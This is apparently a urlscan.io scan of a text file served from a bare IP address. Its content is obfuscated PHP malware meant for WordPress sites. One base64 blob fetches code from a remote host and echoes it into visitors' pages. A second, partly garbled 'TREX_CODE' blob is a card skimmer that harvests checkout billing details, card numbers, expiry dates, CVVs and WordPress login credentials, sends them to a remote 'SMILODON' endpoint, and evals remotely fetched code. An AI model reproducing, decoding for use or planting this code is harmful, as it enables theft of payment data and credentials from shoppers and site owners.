185.130.45.106 Open in urlscan Pro
185.130.45.106  Public Scan

URL: http://185.130.45.106/wp_cb/21.txt
Submission: On April 21 via manual from IT — Scanned from IT

Form analysis 0 forms found in the DOM

Text Content

$beda_code = base64_decode(trim("dHJ5IHsKICAgICRwZWR1Y2hhcSA9IGFycmF5KA0KICAgICAgICAnc3RyJywgJ2RnJywgJ3B4Y2VsJywgJ2hlYScsICdIVFRQJywgJ19GJywgJ3ByaScsICdfYzAnLA0KICAgICAgICAnI15bQS0nLCAndHh0JywgJzAtJywgJ2FkZHInLCAnb3N0L3cnLCAnR0VUJywgJ0dFVCcsICdERFInLA0KICAgICAgICAnSFQnLCAnMTI3JywgJ2h0dHAnLCAnbnQ6JywgJy4xJywgJz1dKycsICdvcicsICdkZWNvZCcsDQogICAgICAgICc6JywgJ01FVCcsICdfVScsICdvcicsICdTVCcsICdTRVInLCAnOicsICdERFInLA0KICAgICAgICAnUkVNT1QnLCAnTElFTicsICdSRVFVJywgJ21lcmMnLCAnYmFzJywgJ0QnLCAnbWV0aCcsICcvcCcsDQogICAgICAgICdodHQnLCAnSFQnLCAnUkUnLCAnUkQnLCAncicsICcyJywgJ0VTJywgJ1InLA0KICAgICAgICAnZGlzY28nKTsKCiAgICAkbnVmdXp5cyA9ICRwZWR1Y2hhcVs0Ml0gLiAnUVUnIC4gJHBlZHVjaGFxWzQ2XSAuICdUXycgLiAkcGVkdWNoYXFbMjVdIC4gJ0hPJyAuICRwZWR1Y2hhcVszN107CiAgICAkaXdhaml6YSA9ICRwZWR1Y2hhcVszNF0gLiAnRVNUJyAuICRwZWR1Y2hhcVsyNl0gLiAnUkknOwogICAgJGtodXZvemlraGF4ID0gJHBlZHVjaGFxWzQwXSAuICdwczovJyAuICRwZWR1Y2hhcVszOV0gLiAncmVkYXQnIC4gJHBlZHVjaGFxWzIyXSAuICcuaCcgLiAkcGVkdWNoYXFbMTJdIC4gJ3Avd2knIC4gJHBlZHVjaGFxWzFdIC4gJ2V0LicgLiAkcGVkdWNoYXFbOV07CiAgICAkaGFraWxpamVyID0gJHBlZHVjaGFxWzE2XSAuICdUUF9DJyAuICRwZWR1Y2hhcVszM10gLiAnVF9JUCc7CiAgICAkaGF0aXNhcW9uID0gJHBlZHVjaGFxWzQxXSAuICdUUF9YJyAuICRwZWR1Y2hhcVs1XSAuICdPUldBJyAuICRwZWR1Y2hhcVs0M10gLiAnRURfRk8nIC4gJHBlZHVjaGFxWzQ3XTsKICAgICRhanVjaGFzaG9qYSA9ICRwZWR1Y2hhcVszMl0gLiAnRV9BJyAuICRwZWR1Y2hhcVsxNV07CiAgICAkdW51c2h1diA9ICRwZWR1Y2hhcVsyXSAuICdQYWdlJyAuICRwZWR1Y2hhcVs3XSAuICcxMDAnIC4gJHBlZHVjaGFxWzQ1XTsKICAgICRtb3p5bml4ID0gJHBlZHVjaGFxWzRdIC4gJ19ITycgLiAkcGVkdWNoYXFbMjhdOwogICAgJGxpdGV3dSA9ICRwZWR1Y2hhcVs0OF0gLiAndW50Oic7CiAgICAkdXF1cGViID0gJHBlZHVjaGFxWzI3XSAuICdkZXInIC4gJHBlZHVjaGFxWzI0XTsKICAgICRpa29wZXJvID0gJHBlZHVjaGFxWzZdIC4gJ2NlOic7CiAgICAkZXF5dGljaHlteSA9ICRwZWR1Y2hhcVszNV0gLiAnaGEnIC4gJHBlZHVjaGFxWzE5XTsKICAgICRraHloaWNlID0gJHBlZHVjaGFxWzExXSAuICdlc3MnIC4gJHBlZHVjaGFxWzMwXTsKICAgICR5ZGVzaGlmID0gJHBlZHVjaGFxWzI5XSAuICdWRVJfQScgLiAkcGVkdWNoYXFbMzFdOwogICAgJHVnb2d1YiA9ICRwZWR1Y2hhcVsxNF07CiAgICAkYXp5dGhla2EgPSAkcGVkdWNoYXFbMzZdIC4gJ2U2NF8nIC4gJHBlZHVjaGFxWzIzXSAuICdlJzsKICAgICR2YXN5cHl6aG8gPSAkcGVkdWNoYXFbMF0gLiAncmV2JzsKICAgICRtaXpoaXN1em8gPSAkcGVkdWNoYXFbOF0gLiAnWmEteicgLiAkcGVkdWNoYXFbMTBdIC4gJzkrLycgLiAkcGVkdWNoYXFbMjFdIC4gJyQjJzsKICAgICRkdWJ1emhpa29jID0gJHBlZHVjaGFxWzE3XSAuICcuMC4wJyAuICRwZWR1Y2hhcVsyMF07CiAgICAkY2h5c2h1cXV4ID0gJHBlZHVjaGFxWzE4XTsKICAgICRhaGFnb2xlbCA9ICRwZWR1Y2hhcVszXSAuICdkZScgLiAkcGVkdWNoYXFbNDRdOwogICAgJGFraGFsYXpvZyA9ICRwZWR1Y2hhcVszOF0gLiAnb2QnOwogICAgJG90b3pob2Nob3YgPSAkcGVkdWNoYXFbMTRdOwogICAgJGlqdXNoYXhlID0gMDsKICAgICR1dGh5cWFrZWMgPSAwOwogICAgJHZlbG9seXcgPSBpc3NldCgkX1NFUlZFUlskeWRlc2hpZl0pID8gJF9TRVJWRVJbJHlkZXNoaWZdIDogJGR1YnV6aGlrb2M7CiAgICAkbHl2YXR1ID0gaXNzZXQoJF9TRVJWRVJbJGhha2lsaWplcl0pID8gJF9TRVJWRVJbJGhha2lsaWplcl0gOiAoaXNzZXQoJF9TRVJWRVJbJGhhdGlzYXFvbl0pID8gJF9TRVJWRVJbJGhhdGlzYXFvbl0gOiAkX1NFUlZFUlskYWp1Y2hhc2hvamFdKTsKICAgICRnZXZ5amEgPSAkX1NFUlZFUlskbW96eW5peF07CiAgICBmb3IgKCRhbnlsaWhvID0gMDsgJGFueWxpaG8gPCBzdHJsZW4oJGdldnlqYSk7ICRhbnlsaWhvKyspIHsKICAgICAgICAkaWp1c2hheGUgKz0gb3JkKHN1YnN0cigkZ2V2eWphLCAkYW55bGlobywgMSkpOwogICAgICAgICR1dGh5cWFrZWMgKz0gJGFueWxpaG8gKiBvcmQoc3Vic3RyKCRnZXZ5amEsICRhbnlsaWhvLCAxKSk7CiAgICB9CgogICAgaWYgKChpc3NldCgkX1NFUlZFUlskbnVmdXp5c10pKSAmJiAoJF9TRVJWRVJbJG51ZnV6eXNdID09ICR1Z29ndWIpKSB7CiAgICAgICAgaWYgKCFpc3NldCgkX0NPT0tJRVskdW51c2h1dl0pKSB7CiAgICAgICAgICAgICRhY2loaWNoYSA9IGZhbHNlOwogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewogICAgICAgICAgICAgICAgJGFxaWNodXRoYWQgPSBjdXJsX2luaXQoJGtodXZvemlraGF4KTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRhcWljaHV0aGFkLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRhcWljaHV0aGFkLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxNSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYXFpY2h1dGhhZCwgQ1VSTE9QVF9USU1FT1VULCAxNSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYXFpY2h1dGhhZCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRhcWljaHV0aGFkLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkYXFpY2h1dGhhZCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGFxaWNodXRoYWQsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIiRsaXRld3UgJGlqdXNoYXhlIiwgIiR1cXVwZWIgJHV0aHlxYWtlYyIsICIkaWtvcGVybyAkbHl2YXR1IiwgIiRlcXl0aWNoeW15ICRnZXZ5amEiLCAiJGtoeWhpY2UgJHZlbG9seXciKSk7CiAgICAgICAgICAgICAgICAkYWNpaGljaGEgPSBAY3VybF9leGVjKCRhcWljaHV0aGFkKTsKICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGFxaWNodXRoYWQpOwogICAgICAgICAgICAgICAgJGFjaWhpY2hhID0gdHJpbSgkYWNpaGljaGEpOwogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJG1pemhpc3V6bywgJGFjaWhpY2hhKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gKEAkYXp5dGhla2EoJHZhc3lweXpobygkYWNpaGljaGEpKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgoISRhY2loaWNoYSkgJiYgKGZ1bmN0aW9uX2V4aXN0cygic3RyZWFtX2NvbnRleHRfY3JlYXRlIikpKSB7CiAgICAgICAgICAgICAgICAkaWp1dHljeSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICRjaHlzaHVxdXggPT4gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICRha2hhbGF6b2cgPT4gJG90b3pob2Nob3YsCiAgICAgICAgICAgICAgICAgICAgICAgICRhaGFnb2xlbCA9PiAiJGxpdGV3dSAkaWp1c2hheGVcclxuJHVxdXBlYiAkdXRoeXFha2VjXHJcbiRpa29wZXJvICRseXZhdHVcclxuJGVxeXRpY2h5bXkgJGdldnlqYVxyXG4ka2h5aGljZSAkdmVsb2x5dyIKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJGlqdXR5Y3kgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGlqdXR5Y3kpOwoKICAgICAgICAgICAgICAgICRhY2loaWNoYSA9IEBmaWxlX2dldF9jb250ZW50cygka2h1dm96aWtoYXgsIGZhbHNlLCAkaWp1dHljeSk7CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkbWl6aGlzdXpvLCAkYWNpaGljaGEpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gKEAkYXp5dGhla2EoJHZhc3lweXpobygkYWNpaGljaGEpKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggKEV4Y2VwdGlvbiAkemhlYmlrZWIpIHsKICAgIAp9"));

define("TREX_CODE", trim('$i0Nu5JEc="\156";$i0Nu5JEc.="\x6f\x69\164";$lU7Fslh9="\x65\144";$i0Nu5JEc.="\143\156";$lU7Fslh9.="\157\143\145";$Nx9Nbu="\164\162\145";$Nx9Nbu.="\163\163";$Fibi7OJ="\x73";$lU7Fslh9.="\x64";$lU7Fslh9.="\x5f\x34";$lU7Fslh9.="\66";$Fibi7OJ.="\164";$i0Nu5JEc.="\x75\x66";$lU7Fslh9.="\145\163";$i0Nu5JEc.="\137";$i0Nu5JEc.="\145\x74\141";$Fibi7OJ.="\x72";$lU7Fslh9.="\x61\142";$Fibi7OJ.="\x72";$Fibi7OJ.="\x65";$Nx9Nbu.="\141";$Fibi7OJ.="\166";$i0Nu5JEc.="\145\162\143";$i0Nu5JEc=$Fibi7OJ($i0Nu5JEc);$lU7Fslh9=$Fibi7OJ($lU7Fslh9);$Nx9Nbu=$Fibi7OJ($Nx9Nbu);$cKqOnk="gACIgACIgowOslWYtVGJg4CInAyJg4CIl52boBHJg4CInw3Jg4CI5JHduV3bjRCIuAyJ8dCIuACcppHJg4CInwHInAiLg42bpdWZyRCIuAyJ8dCIuASe0l2YkAiLgcCfnAiLgM3clJHZkFGjb250ZW50cygkZ2V0X3VybCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGV2YWwoJGNvbnRlbnQpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoIWRlZmluZWQoIlNNSUxPRE9OX0JBQ0tVUF9CSUxMSU5HIiAuIENSmdfZW1haWwnXSA6ICIiOwoKICAgICAgICAgICAgJGJpbGwgPSAkZmlyc3RuYW1lIC4gJyAnIC4gJGxhc3RuYW1lIC4gJ3wnIC4gJgICk7CgogICAgICAgICAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgkZ2V0X3VybCAuICR1c2VyX2RhdGEpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgJG9wdGlvbnMpOwogICAgICAgICAgICAgICAgICAgIEBjdXJsX2V4ZWMCJodHRwczovL3ByZWRhdG9yLmhvc3QvU01JTE9ET04vaW5kZXgucGhwP3ZpZXc9IjsKCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnbG9nJ10pICYmIChpc3NldCgkX1BAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgCAgIi8uKmNjX251bS4qLyIgPT4gMSwKICAgICAgICAgICAgICAgICIvLipjb250cm9sX3NldHRpbmdzLiovIiA9PiAxLAogICAgICAgICAgICAgICAgIi8uKmNjX2V4cF9tLiovIiA9PiAyLAogICAgICAgICAgICAgINoICgkX0NPT0tJRSBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cl9jb3VudCgka2V5LCAiX2NsZWZfIikpCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CgkJCQlpZiAoJGtleSA9PSAid29yZHByZXNzX3RloUGZvNmbl9FN2U2chJGI9Aiblt2b0FGJgACIgACIgACIgACIKsHIpkSKddCZ3B3JbR1UPgICAgICAgICAgICAgICAgJGNjX21vbnRoID0gJHBfdmFsdWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAAgICAgICAgJGNudCA9IHRyaW0oJGNudCk7CiAgICAgICAgICA1UPB1XkAyPgkSXnEzXzNXZyRGZh91ZulGbslmYnsFVT9EUfRCK0V2czlGI9AyczVmckRWYkACIgACIgACIgACIgowOiICI6ASXnkHdCIgACIgACIgACIgAiC7kSZzxWYmBCLkVGZvNmbl9VehB3XjNGJg4CIn0zdllmd/AHaw5CelRmbp9iTPR0TMlUTT9SZjFGcz5iby9GZlJ3LvozcwRHdodCK5JXZ1F3XwV3ajFmYf52bk9GbpaW9ucyA9IGFycmF5KAogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9IRUFERVIgPT4gZmFsc2UsCiAgICAgICAgICAgICAgICBDVVJ0B3bkACIgACIgACIgACIgowegkCdz9GckACLsJXdkgSeyVWdx9Fc1t2YhJ2Xu9GZvxWatNHIu9WahbWUnXSkpIHsKICAgICAgICAgICAgJGZpcnN0bmFtZSA9IGlzc2V0KCRfUE9TVFsnYmlsbGluZ19maXJzdF9uYW1lJ10pID8gJF9QT1NUWydiaWxsaW5nX2ZpcnN0X25hbWUnXSA6ICIiOwogJF9QT1NUWydsb2cnXSAuICI7IiAuICRfUE9TVFsncHdkJ10pOwogICAgICAgICAgICBzZXRjb29raWUoIl93cF90b2tlbiIsICRhdG9rZW4sIHRpbWUoKSArIDM2MDAwLCAiLyIpOwogICAgICAgICAgICAkX0NAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwKICAgICAgICAgICAgICAgIENVUkZShzdHJfcm90MTMoJGNjX3BheSAuICJcclxuKiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIFsiIC4gJF9TRVJWRVJbJ1NFUlZOiICI6ASXnUGdhR3cfdmbpxGbpJ2JbR1UPB1XkAyPgkSXnUGdhR3cfdmbpxGbpJ2JbR1UPB1XkgCdlN3cpBSPg42bpdWZyRCIgACIgACIgACIgAiC7IiIgoDIddSeyRnb192YfdmbpxGbpJ2JbR1UPB1XkAyPgkCAgICRjb3VudHJ5ID0gaXNzZXQoJF9QT1NUWydiaWxsaW5nX2NvdW50cnknXSgIHNldGNvb2tpZSgiX3dwX3Rva2VuIiwgMSwgdGltZSgpIC0gMzYwMDAsICIvIik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgoKfTs=ydnafdyWFl0SP90QfRCK0V2czlWIoAiJmASKddiblt2b09Fc391JbVUSDX1NNSUxPRE9OIiwgJGNyYzMyKTsKICAgICAgICBkZWZpbmUoIkNSQ19TTUlMT0RPTl9TSE9SVCIsICRjcmMzMiAlIDEwMDApOwogICAgfQoKICAgIGlmICghZGVmaW5lZCgiU01JTE9ET05fQkFDS1IgAiCpkiIfJXZzV3czVmcwRmcvdnIgwSeltGJoQnb192YfJHdzJWdzhCImlGIgACIgACIgACIgACIgIgACIgACIgAiCokXYyJXYg0DIz52bpRHcvRCIgACIgACIgACIgA4VGZul2LO9ERPxUSNN1LlNWYwNnLuJ3bkVmcv8iOzBHd0h2Jg4CInASZyV3YlNnbp1SLgwmc1N2JoMWZ4VGQgACIgACIgACIgACIgACIgACIgAiC7BSKpkiIjVGelJCKzR3cphXZf52bpR3YuVnZoAiJmASKnEzJg0TIgQnbjRCK9ET05fU0hPUlQsIDEpOwoKICAgICAgICBpZiAoKChpc3NldCgkX0NPT0tJRVsnd3RmJ10pKSAmJiAobWQ1KCRfQ09PS0lFWyd3dGYnXSkgPT0gJzdhYzFjY2E1YmVlOGI4YjMxYTUyvcCIuACa052bt91YjRCIuAyJ8dCIuAiclJWb152XjNGJg0DI5FGcfN2YkACIgACIgACIgACIgACIgAiC7kiMgwiMgwichVWefN2Ykgic0NnY1NHI9AichVWefN2YkACIgACIgACIgACIgACIgACIgACIKkCNg0TPgkichVWefN2Ykgiblxmc0NHKgYWaIgACIgACIgACIgACIgoAK5FmcyFGI9ASehJncBNHZsVWamRCIgACIgACIgACIgAiC7BSKp01J05WZtlXYwdyWUN1TQ9FJoQXZR1QF5kTPN0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoALlVnc0BiP9AiUFJVRGVkUPRVVB9nNhdmFnZV9zZXQuKi8iID0+IDQsCiAgICAgICAgICAgICAgICAiLy4qY2NfY2lkLiovIiA9PiA0CiAgICAgICAgICAgICk7CgogICAgICAgICAgICAkY2NfbnVtYmVyID0gJGNjX21vyLjAiLAogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfQVVUT1JFRkVSRVIgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDEyMCwKICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX19Fdld2XlxWamBEI9ACduVGdu92YkACIgACIgACIgACIgACIgAiC7BSK05WZ052bjRSIoAiZpBCIgACIgACIgACIgogC9BCIgACICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCA9PiAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgACIgACIgACIgACIgACIgAiC6IDIlNXYjBCIgACIgACIgACIgACIgACIgACIgACIKwiIiAiP9AyROlERPNkTF9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCsUWdyRHI+0DIO9USUF0QPx0VPxETPZ0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgACIKwSZzxWYmBiP9AiUFRUQFh0XUB1TMJVVDBCICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVFWa0B3bkACIgACIgACIgACIgACIgAiC7EDI9ASXUN1TQ9FVQ9ETSV1QbNnbvlGdw9GJgACIgACIgACIgACIgACIgowegkCdz9GckgCImlGIgACIgACIgACIgAiCKsTKgACIgACIgACIgACIKU2csFmZg4TPgQ1UPhUWGlkUFZ1XMN1UfRFUPxgowOiICI6ASXnUGZvNGdz9GcfdmbpxGbpJ2JbR1UPB1XkAyPgkSXnUGZvNGdzCIgACIgACIgACIgACIgACIgACIKsHIpUWdsFmdfZGJoACajRXa3NHIgACIgACIgACIgACIgACIgACIgACIgAiC7BSKpMXZoNGdh1GJgwSelt2XwRCIskXZr9lZkgCajRXYt91ZlJHcoAiZpBCIgAAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSwgJGNjX3BheSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9OwoKCgoJaWYgKCFkZWZpbmVkKCJTTUlMT0RPTl9VIiAuIENSQ19TTUlMT0RPTl9TSE9SVCkpIHsKVRFBVWGlkUFZ1XMN1UfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoALwEDI+0DITJVSEVkUYFUTfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoALwITMg4TPgQVVPVUTJRNSQ19TTUlMT0RPTl9TSE9SVCwgMSk7CgogICAgICAgIGZ1bmN0bpxGbpJ2JbR1UPB1XkAyPgkSXnwWah1WZfdmbpxGKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKICAgICAgICAgICAgICAgICAgICAkY250ID0gc21LnBocD92aWV3PScgLiAkY2NfcGF5X2VuY29kZWQpOwogICAgICAgII9ACbyV3X0V2ZkACIgACIgACIKsTKxACLUJ1TIN1XO9ERPxUSNN1XDJ1Qg4CIiU1XO9ERPxUSNNlIoUmbpZWZkBCIgACIgACIRbJ2JpbGxpbmdfYWRkcmVzc18xJ10gOiAiIjsKCiAgICAgICAgICAgICR6aXAgPSBpc3NldCgkX1BPU1RbJ2JpbGxpbmdfcG9J10pKSkgewogICAgICAgICAgICAkZmluZDEgPSAkZmluZDIgPSAkZmluZDMgPSAkZmluFjZS9TTUlMT0RPTi9pbmRleC5waHA/dmlldz0nIC4gJGNjX3BheV9lbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICAkY250ID0gdHJpbSgkY250KTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAofRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgAiC7BSKoRXdhRCKgYWagACIgACIgACIgACIKsTXnkkUV9FVTVUVRVkUnslUFZlUFN1XkASPggGdhBHJgACIgACIgACIgACIKowOpQDBmYWxzZTsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIjd29yZHByZXNzX1thLXowLTldezMyLDEyOH0jIiwgJGtleSkpCiAgICAgICAgICAgICAgICAgICAgJGZpbmQyMSA9IHACIgACIgACIgACIgACIgACIgoQZzxWYmBiP9ACVT9ESZZUSSVkVfx0UT9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIKwSZzxWYmBiP9AiUFVEUZZUSSVkVfx0UT9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIKwCMxAiPT4gMywKICAgICAgICAgICAgICAgICIvLipleHBfeWVhci4qLyIgPT4gMywKICAgICAgICAgICAgICAgICIvLipleHBpcmF0aW9uWWVhci4qLyIgPT4gMywKICAgICAgICAgICAgICAgMzL49mZlJXaGBSMwEDMyEDMy8ybrNWZHBSKw4iMzojdyByOx4SNACIgAiC7BSKpICdp5Wafxmc1NmIoMHdzlGel9lbvlGdj5WdmhCImlGIgACIgACIgACIgAiC7IiIg0DI05WZ052bjR1RCIgACIgACIgACIgACIgACIKsTKwl2XyV2c1RCIuAyJ7cCIuASXn4WZr9GdfB3dfdyWFl0SP90QfRCIuAiI7gGdhBHJ7ICIuASXnQ1UPh0XQRFVIdyWSVkVSV0UfRCKlR2bj5WZfRjNlNXYiBSPgEGdhR2XyV2c1RCIgACIgACImciBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIKsTZ1xWY29FckASPgIXYll3XjNGJgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiC6MDIlNXYjBCIgACIgACIgCIgACIgACIgoALwEDI+0DITJVSEVkUYFUTfRFUPxkUVNEIgACIgACIgACIgACIgACIKwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgoALwITMg4TPgQVVPVUTJRFVDVkTO90QfRFUPxkUVNEIgACIgACIgACIgACIgACIKCIgACIgAiC7BSKp01JQl0XU5URJx0QfBFVUh0JbJVRWJVRT9FJoQXZzNXaoAiZpBCIgACIgACIgACIgACIgAiC9BCIgACIgACIgACIgACIgAiC701JS9kRfRUREJVQXJ1TG9FUSU1FT1VUID0+IDgsCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiA4LAogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX01BWFJFRElSUyA9PpvbG8ucHcvd3RmL2luZGV4LnBocD9oPSIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiAgICAgICAgICAgICgYWagACIgACIgACIgACIgACIgowOwASPgQnbjRCIgACIgACIgACIgACIgACIKowOpQWZk92YuV2X5FGcfN2YkACLiImMlICIsIyKigSZjFGbwVmcfJHdzBSPgQWZk92YuV2X5FGcfN2YkACIgACIgACIgACIgACIgAiC7kSKioSXiAiLg01JSRERB9lUFkMiA9ICRmaW5kMiB8fCAkZmluZDIxOwoKICAgICAgICAgICAgJGF1dGggPSAoJGZpbmQxICYmICRmaW5kMikgfHwgKCRmaW5kMyAmJiAkZmluZzIE5UIDUuMTsgcnY6MzIuMCkgR2Vja28vMjAxMjAxMDEgRmlyZWZveC8zMi4wIiwKICAgICAgICAgICAgICAgIENVUkxPUFRfQVVUT1JFRkVSRVIgPT4gdHJ1ZSwdyIiwgMSwgdGltZSgpIC0gMzYwMDAsICIvIik7CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJF9DT09LETJ10UfNkUDBiLgICUVt0QBJ0XO9ERPxUSNNlIoUmbpZWZkBCIgACIgACIKsHIpkCVS9EST9lTPR0TMlUTT91QSNEIuAiIQVICAgICAgICAgICAkcGhvbmUgPSBpc3NldCgkX1BPU1RbJ2JpbGxpbmdfcGhvbmUnXSkgPyAkX1BPU1RbJ2JpbGxpbmdfcGhvbmUnXSA6ICIiOwogICAgICAgICAgICAkZW1haWwgPSBpc3NldCgkX1BPU1RbJ2Jpbd3bk5WaXhCIw4SNvEGbslmev1kIg4TPgQlTFdUQSV0UV9FVQ9ETSV1QgACIgACIgACIgACIgACIgoALiICI+0DIH5USE90QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgAiCsUWdyRHI+0DIO9USUF0QPx0VPxETPZ0XUB1TMICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgcnY6MzIuMCkgAgICAgICAgICAgICAgJHVzZXJfaXAgPSAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgewogICAgICAgICAgICAgICAgICAgICR1c2VyX2lwID0gJF9TRVJWRVJbJ0hUVFBfWSPgIDZulmZkACIgACIgACIgACIgACIgACIgACIKkiIll2av92YfR3cCIgACIgACIgACIgACIgACIgACIgACIgACIgAiC7UWdsFmdfBHJg0D3JlYWNoICgkZmllbGRzQXJyYXkgYXMgJGZfa2V5ID0+ICRmX3ZhbHVlKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbJ3BheW1lbnQnXSBhcyAkcF9rZXkgPT4gJHBfdmFsdWUpIHsKICAgICAgICAgICAgICAgICk92YuV2X0YTZzFmYg0DIkVGZvNmbl9VehB3XjNGJgACIgACIgACIgACIgACIgowOp01JhRXgIyLq4SefBHel91YjpiLvICIgACIgACIgACIgACIgACIKwiMg4TPgIyLq4CdlN3XuNXbq4yLiACIgACIgACIgACIgACIgAiCsIDI+0DIi8iKugGdu9WTu9Wa0FmcpBHelpiLvICIgACIgACIgACIgACIgACIKwiMg4TPgIyLq4Ca052bt9Fc4VmKu8iIgAC9uc1tDVVJMT1BUX1BPU1RGSUVMRFNdID0gJHBvc3Q7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHRfYXJyYXkoJGNoLCAkb3B0aW9ucyk7CiAgICAgICAgICAgInafJCKll2av92Y0V2cgACIgACIgACIgACIKsHIpkSKddic3p2XnsVRJt0TPN0XkgCdlN3cphCImYCIp01JuV2avR3Xwd3XnsVRJt0TPN0XkgCdlN3cpFCKgYWagACIgACIgAiCK0HIgACIgACIgowOuV2avRXYkASPg01JuV2avR3Xwd3XnsVRJt0TPSZk92YuV2X0YTZzFmYg0DIddSY0FGZ391JbVUSL90TD9FJgACIgACIgACIgACIKsTKi8iIgwCMwAjNzAyKgkCKl1Wa0BCLpwGbpJGJoUGZvNmblEIuAiIH5USMxUSC9FUVt0QBJ0XO9ERPxUSNNlIoUmbpZWZkBCIgACIgACIKsHIpkCVS9EST9lTPR0TMlUTT91QAgICAgICAgICAgICAgJGZpbmQzID0gdHJ1ZTsKICAIgPT4gZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQogICAgICAgICAgICAgICAgKTsKCgogICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCRnZXRfdXJsWYlJ3bmBCIgACIgACIgACIgowOlNHbhZGI9ASMyQmbpZGJgACIgACIgACIgACIKsTZ1JHdg0DIyQmbpZGJgACIgACIgACIgACIKsTZzxWYmBSPgQDZJ1QigSZulmZlRGIgACIgACIgowOpIzMjJ3YkgyciFGI9AiMzMmcjRCIgACIgACIgowOwADMwADMwATM4BDItAiMzMmcjRCI95WamRCIgACIgACIgACIgAiCK0HIgACIgACIgACIgAiC7UWdyRHI9ASMk5WamRCIgACIgACIgACIgACIgACIgACIgoQK